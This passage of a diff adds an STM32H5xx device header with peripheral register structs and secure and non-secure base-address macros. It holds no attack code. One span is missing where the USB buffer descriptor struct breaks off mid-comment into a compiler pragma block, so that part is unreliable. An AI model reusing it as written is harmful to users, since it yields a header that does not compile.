offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ + +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ + uint32_t RESERVED[949];/*!< Reserved, Address offset: 0x3C -- 0x3F0 */ + __IO uint32_t IPVER; /*!< UCPD IP version register, Address offset: 0x3F4 */ + __IO uint32_t IPID; /*!< UCPD IP Identification register, Address offset: 0x3F8 */ + __IO uint32_t MID; /*!< UCPD Magic Identification register, Address offset: 0x3FC */ +} UCPD_TypeDef; + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0x40000UL) /*!< SRAM1=256k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0x50000UL) /*!< SRAM3=320k */ +#define BKPSRAM_SIZE (0x01000UL) /*!< BKPSRAM=4k */ + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 2 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (256 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20040000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x20050000UL) /*!< SRAM3 (320 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) /*!< FMC Memory Bank1 for SRAM, NOR and PSRAM */ +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) /*!< FMC Memory Bank3 for NAND */ +#define FMC_SDRAM_BANK_1 (FMC_BASE + 0x60000000UL) /*!< FMC Memory SDRAM Bank1 */ +#define FMC_SDRAM_BANK_2 (FMC_BASE + 0x70000000UL) /*!< FMC Memory SDRAM Bank2 */ + + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04020000UL) +#define AHB4PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define TIM12_BASE_NS (APB1PERIPH_BASE_NS + 0x1800UL) +#define TIM13_BASE_NS (APB1PERIPH_BASE_NS + 0x1C00UL) +#define TIM14_BASE_NS (APB1PERIPH_BASE_NS + 0x2000UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define SPI3_BASE_NS (APB1PERIPH_BASE_NS + 0x3C00UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define I3C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5C00UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define USART10_BASE_NS (APB1PERIPH_BASE_NS + 0x6800UL) +#define USART11_BASE_NS (APB1PERIPH_BASE_NS + 0x6C00UL) +#define CEC_BASE_NS (APB1PERIPH_BASE_NS + 0x7000UL) +#define UART7_BASE_NS (APB1PERIPH_BASE_NS + 0x7800UL) +#define UART8_BASE_NS (APB1PERIPH_BASE_NS + 0x7C00UL) +#define UART9_BASE_NS (APB1PERIPH_BASE_NS + 0x8000UL) +#define UART12_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define DTS_BASE_NS (APB1PERIPH_BASE_NS + 0x8C00UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define FDCAN2_BASE_NS (APB1PERIPH_BASE_NS + 0xA800UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SPI4_BASE_NS (APB2PERIPH_BASE_NS + 0x4C00UL) +#define SPI6_BASE_NS (APB2PERIPH_BASE_NS + 0x5000UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x6000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS AHB1PERIPH_BASE_NS +#define GPDMA2_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03800UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03C00UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define ETH_BASE_NS (AHB1PERIPH_BASE_NS + 0x8000UL) +#define ETH_MAC_BASE_NS (ETH_BASE) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA2_Channel0_BASE_NS (GPDMA2_BASE_NS + 0x0050UL) +#define GPDMA2_Channel1_BASE_NS (GPDMA2_BASE_NS + 0x00D0UL) +#define GPDMA2_Channel2_BASE_NS (GPDMA2_BASE_NS + 0x0150UL) +#define GPDMA2_Channel3_BASE_NS (GPDMA2_BASE_NS + 0x01D0UL) +#define GPDMA2_Channel4_BASE_NS (GPDMA2_BASE_NS + 0x0250UL) +#define GPDMA2_Channel5_BASE_NS (GPDMA2_BASE_NS + 0x02D0UL) +#define GPDMA2_Channel6_BASE_NS (GPDMA2_BASE_NS + 0x0350UL) +#define GPDMA2_Channel7_BASE_NS (GPDMA2_BASE_NS + 0x03D0UL) + +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DAC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08400UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) + +/*!< APB3 Non secure peripherals */ +#define SBS_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI5_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define I2C4_BASE_NS (APB3PERIPH_BASE_NS + 0x2C00UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define LPTIM5_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define LPTIM6_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB3 Non secure peripherals */ +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define DEBUG_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) + +/*!< AHB4 Non secure peripherals */ +#define OTFDEC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8000UL) +#define DLYB_SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8400UL) +#define SDMMC2_BASE_NS (AHB4PERIPH_BASE_NS + 0x8C00UL) +#define DLYB_SDMMC2_BASE_NS (AHB4PERIPH_BASE_NS + 0x8800UL) +#define FMC_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_NS (AHB4PERIPH_BASE_NS + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define FMC_Bank5_6_R_BASE_NS (FMC_R_BASE_NS + 0x0140UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 2 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (256 KB) secure base address */ +#define SRAM2_BASE_S (0x30040000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x30050000UL) /*!< SRAM3 (320 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04020000UL) +#define AHB4PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) + +/*!< APB1 secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define TIM12_BASE_S (APB1PERIPH_BASE_S + 0x1800UL) +#define TIM13_BASE_S (APB1PERIPH_BASE_S + 0x1C00UL) +#define TIM14_BASE_S (APB1PERIPH_BASE_S + 0x2000UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define SPI3_BASE_S (APB1PERIPH_BASE_S + 0x3C00UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I3C1_BASE_S (APB1PERIPH_BASE_S + 0x5C00UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define USART10_BASE_S (APB1PERIPH_BASE_S + 0x6800UL) +#define USART11_BASE_S (APB1PERIPH_BASE_S + 0x6C00UL) +#define CEC_BASE_S (APB1PERIPH_BASE_S + 0x7000UL) +#define UART7_BASE_S (APB1PERIPH_BASE_S + 0x7800UL) +#define UART8_BASE_S (APB1PERIPH_BASE_S + 0x7C00UL) +#define UART9_BASE_S (APB1PERIPH_BASE_S + 0x8000UL) +#define UART12_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define DTS_BASE_S (APB1PERIPH_BASE_S + 0x8C00UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define FDCAN2_BASE_S (APB1PERIPH_BASE_S + 0xA800UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SPI4_BASE_S (APB2PERIPH_BASE_S + 0x4C00UL) +#define SPI6_BASE_S (APB2PERIPH_BASE_S + 0x5000UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define USB_DRD_BASE_S (APB2PERIPH_BASE_S + 0x6000UL) +#define USB_DRD_PMAADDR_S (APB2PERIPH_BASE_S + 0x6400UL) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_BASE_S AHB1PERIPH_BASE_S +#define GPDMA2_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x03800UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x03C00UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define ETH_BASE_S (AHB1PERIPH_BASE_S + 0x8000UL) +#define ETH_MAC_BASE_S (ETH_BASE_S) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA2_Channel0_BASE_S (GPDMA2_BASE_S + 0x0050UL) +#define GPDMA2_Channel1_BASE_S (GPDMA2_BASE_S + 0x00D0UL) +#define GPDMA2_Channel2_BASE_S (GPDMA2_BASE_S + 0x0150UL) +#define GPDMA2_Channel3_BASE_S (GPDMA2_BASE_S + 0x01D0UL) +#define GPDMA2_Channel4_BASE_S (GPDMA2_BASE_S + 0x0250UL) +#define GPDMA2_Channel5_BASE_S (GPDMA2_BASE_S + 0x02D0UL) +#define GPDMA2_Channel6_BASE_S (GPDMA2_BASE_S + 0x0350UL) +#define GPDMA2_Channel7_BASE_S (GPDMA2_BASE_S + 0x03D0UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) + +/*!< AHB2 secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DAC1_BASE_S (AHB2PERIPH_BASE_S + 0x08400UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) + +/*!< APB3 secure peripherals */ +#define SBS_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI5_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define I2C4_BASE_S (APB3PERIPH_BASE_S + 0x2C00UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define LPTIM5_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define 